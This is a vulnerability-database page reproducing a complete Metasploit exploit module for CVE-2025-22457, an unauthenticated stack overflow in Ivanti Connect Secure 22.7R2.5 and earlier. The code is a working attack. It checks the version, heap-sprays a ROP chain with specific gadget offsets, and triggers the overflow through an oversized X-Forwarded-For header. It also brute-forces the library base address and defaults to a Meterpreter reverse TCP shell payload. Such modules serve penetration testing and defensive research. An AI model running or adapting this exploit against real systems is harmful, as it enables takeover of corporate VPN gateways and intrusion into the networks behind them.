Lucene search
+L

Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow

🗓️ 15 May 2025 18:53:02Reported by Stephen Fewer, Christophe De La FuenteType 
metasploit
 metasploit
🔗 www.rapid7.com👁 806 Views

Unauthenticated remote code execution in Ivanti Connect Secure via stack overflow (CVE-2025-22457) on versions 22.7R2.5 and earlier.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  alias tcp_socket_connect connect

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  class IvantiError < StandardError; end
  class IvantiNotFoundError < IvantiError; end
  class IvantiUnexpectedResponseError < IvantiError; end
  class IvantiUnknownError < IvantiError; end
  class IvantiNetworkError < IvantiError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow',
        'Description' => %q{
          This module exploits a Stack-based Buffer Overflow vulnerability in
          Ivanti Connect Secure to achieve remote code execution
          (CVE-2025-22457). Versions 22.7R2.5 and earlier are vulnerable. Note
          that Ivanti Pulse Connect Secure, Ivanti Policy Secure and ZTA gateways
          are also vulnerable but this module doesn't support this software. Heap
          spray is used to place our payload in memory at a predetermined
          location. Due to ASLR, the base address of `libdsplibs` is unknown.
          This library is used by the exploit to build a ROP chain and get
          command execution. As a result, the module will brute force this
          address starting from  the address set by the `LIBDSPLIBS_ADDRESS`
          option.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stephen Fewer', # Analysis and PoC
          'Christophe De La Fuente', # Metasploit Module
        ],
        'References' => [
          ['CVE', '2025-22457'],
          ['URL', 'https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457'],
          ['URL', 'https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis'],
          ['URL', 'https://github.com/sfewer-r7/CVE-2025-22457']
        ],
        'DisclosureDate' => '2025-04-03',
        'Platform' => 'linux',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => [ARCH_CMD],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
        OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
        OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]),
        OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]),
      ]
    )
  end

  def validate_options
    if datastore['MAX_THREADS'] < 1
      fail_with(Failure::BadConfig, "MAX_THREADS should be at least 1 (current value: #{datastore['MAX_THREADS']})")
    end

    if datastore['WEB_CHILDREN'] < 1
      fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})")
    end
  end

  # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
  def product_version
    return @product_version if @product_version

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi'),
      'vars_get' => {
        'type' => 'inter'
      }
    })
    raise IvantiUnknownError, '[product_version] No response from the server' if res.nil?
    raise IvantiUnexpectedResponseError, "[product_version] Server responded with an unexpected HTTP status code: #{res.code}" unless res.code == 200

    unless res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
      raise IvantiNotFoundError, '[product_version] Product version not found'
    end

    @product_version = Regexp.last_match(1)
  end

  def url_schema
    ssl ? 'https' : 'http'
  end

  def check
    print_status("Checking the product version for #{url_schema}://#{Rex::Socket.to_authority(rhost, rport)}")

    # This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
    # see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
    if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981')
      return CheckCode::Appears("Detected version: #{product_version}")
    end

    CheckCode::Safe("Detected version: #{product_version}")
  rescue IvantiError => e
    CheckCode::Unknown("Unknown version: #{e}")
  end

  def target_data
    {
      # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
      '22.7.2.3597' => {
        overflow_length: 622,
        gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret;
        offset_to_got_plt: 0x0157c000,
        gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret;
        gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
      }
    }
  end

  def send_http_data(data)
    s = tcp_socket_connect(false, { 'SSLVerifyMode' => 'NONE' })
    s.write(data)
    s
  rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
    raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}"
  end

  def user_agent
    return @user_agent if @user_agent

    # list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
    # command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
    @user_agent = %w[
      v9.12-199-g06afc42b
      v9.12-198-gb82f00f7
      v9.12-196-g32971c1b
      v9.12-195-g9fe01919
      v9.12-193-ge4cc8a65
      v9.11-21-g3bc9d788
      v9.11-20-g3f4f3415
      v9.11-19-gf6d2c8d8
      v9.11-18-g0b47190f
      v9.11-17-g4ca0aa1b
      v9.10-26-gd40f4370
      v9.10-24-g5d1b0883
      v9.10-22-gbaa80279
      v9.10-21-g3fbba481
      v9.10-17-g15b4c533
      v9.01-189-g5aca5431
      v9.01-188-gb6b85208
      v9.01-187-g299d4444
      v9.01-186-gab5f1639
      v9.01-185-g77838371
    ].sample
  end

  def make_connections
    print_status('Making connections...')

    @lock = Mutex.new
    threads = []

    0.upto(datastore['MAX_THREADS']) do
      threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
        loop do
          break unless @lock.synchronize do
            @spray_socks.size < ((1024 - 256) * datastore['WEB_CHILDREN'])
          end

          body = "GET / HTTP/1.1\r\n"
          body << "Host: #{rhost}:#{rport}\r\n"
          body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n"
          body << "Content-Type: EAP\r\n"
          body << "Upgrade: IF-T/TLS 1.0\r\n"
          body << "Content-Length: 0\r\n"
          body << "\r\n"

          s = send_http_data(body)
          res = s.read

          fail_with(Failure::Unreachable, 'No response received from the target.') unless res.present?
          fail_with(Failure::UnexpectedReply, 'Bad response from the target') unless res.include?('101 Switching Protocols')

          @lock.synchronize do
            @spray_socks << s
          end
        rescue IvantiNetworkError => e
          fail_with(Failure::Unreachable, "Unable to make a connection. You might need to increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`): #{e}")
        end
      end
    end

    threads.each(&:join)
  end

  def spray(libdsplibs_base)
    print_status('Spraying...')

    padding = rand_text(128)

    spray_pattern = [
      # DWORD   , # Address where the DWORD will be located after the heap spray
      SecureRandom.rand(2**32), # 0x39393818:
      SecureRandom.rand(2**32), # 0x3939381C:
      SecureRandom.rand(2**32), # 0x39393820:
      SecureRandom.rand(2**32), # 0x39393824:

      libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget.
      0x39393828 - 0x10, # 0x3939382C:
      SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp)
      libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834:

      libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx)
      libdsplibs_base + @target[:gadget_call_system], # 0x3939383C:
      SecureRandom.rand(2**32), # 0x39393840:
      SecureRandom.rand(2**32), # 0x39393844:

      SecureRandom.rand(2**32), # 0x39393848:
      SecureRandom.rand(2**32), # 0x3939384C:
      SecureRandom.rand(2**32), # 0x39393850:
      SecureRandom.rand(2**32), # 0x39393854:

      SecureRandom.rand(2**32), # 0x39393858:
      0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
      SecureRandom.rand(2**32), # 0x39393860:
      SecureRandom.rand(2**32), # 0x39393864:

      0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
      SecureRandom.rand(2**32), # 0x3939386C:
      SecureRandom.rand(2**32), # 0x39393870:
      SecureRandom.rand(2**32), # 0x39393874:

      SecureRandom.rand(2**32), # 0x39393878:
      SecureRandom.rand(2**32), # 0x3939387C:
      SecureRandom.rand(2**32), # 0x39393880:
      SecureRandom.rand(2**32), # 0x39393884:

      SecureRandom.rand(2**32), # 0x39393888:
      SecureRandom.rand(2**32), # 0x3939388C:
      SecureRandom.rand(2**32), # 0x39393890:
      0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.

      # padding...
      # 0x39393918: shell_cmd @ edi
    ].pack('V*') + padding + @shell_cmd

    fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512

    heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)

    ift_body = [
      0x00005597, # VENDOR_TCG
      0x00000001, # IFT_VERSION_REQUEST
      heap_buffer.length + 16 + 1,
      0 # seq id
    ].pack('NNNN') + heap_buffer

    threads = []
    spray_idx = 0

    0.upto(datastore['MAX_THREADS']) do
      threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
        loop do
          s = @lock.synchronize do
            s = @spray_socks[spray_idx]
            spray_idx += 1
            s
          end

          break if s.nil?

          s.write(ift_body)
        rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
          print_error("Error while writing the socket: #{e}")
          print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\
                      'web child crashed. This needs to match the number of vCPUs of the target, '\
                      'since the number of child process matched the number of vCPUs.')
        end
      end
    end

    threads.each(&:join)
  end

  def trigger
    print_status('Triggering...')

    # Build the buffer with only numerical values
    buffer = rand_text_numeric(@target[:overflow_length])
    buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's
    buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern

    fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any?

    body = "GET / HTTP/1.1\r\n"
    body << "X-Forwarded-For: #{buffer}\r\n"
    body << "\r\n"

    1.upto(datastore['WEB_CHILDREN']) do |attempt|
      print_status("Attempt ##{attempt}")
      begin
        send_http_data(body)
      rescue IvantiNetworkError, StandardError => e
        vprint_warning("Exception: #{e}")
      end
    end
  end

  def attempt_exploit(libdsplibs_base)
    print_status("Trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}")

    @spray_socks = []
    make_connections

    spray(libdsplibs_base)

    trigger
  ensure
    @spray_socks.each do |s|
      s.close unless s.closed?
    end
  end

  def exploit
    validate_options

    @shell_cmd = "a;export LD_LIBRARY_PATH=/home/lib;#{payload.encoded} #"
    @shell_cmd << "\x00"
    @shell_cmd << 'B' while @shell_cmd.length < 256

    unless @shell_cmd.length == 256
      fail_with(Failure::BadConfig, "shell_cmd should be 256 bytes (current size: #{@shell_cmd.length}")
    end
    vprint_status("shell_cmd: #{@shell_cmd}")

    print_status("Targeting #{url_schema}://#{Rex::Socket.to_authority(rhost, rport)}")

    @target = target_data[product_version.to_s]
    fail_with(Failure::BadConfig, "No target for this version (#{product_version})") unless @target

    print_status('Starting...')
    libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS']

    _, elapsed_time = Rex::Stopwatch.elapsed_time do
      # with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8).
      0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do
        _, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do
          attempt_exploit(libdsplibs_base)
        end
        vprint_status("Attempt elapsed time: #{attempt_elapsed_time} seconds")

        # give the target a few seconds to respawn the web binary before we try again.
        Rex.sleep(5)

        break unless framework.sessions.empty?

        # increment to the next aligned memory location
        libdsplibs_base += 0x1000
      end
    end

    vprint_status("Total elapsed time: #{elapsed_time} seconds")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation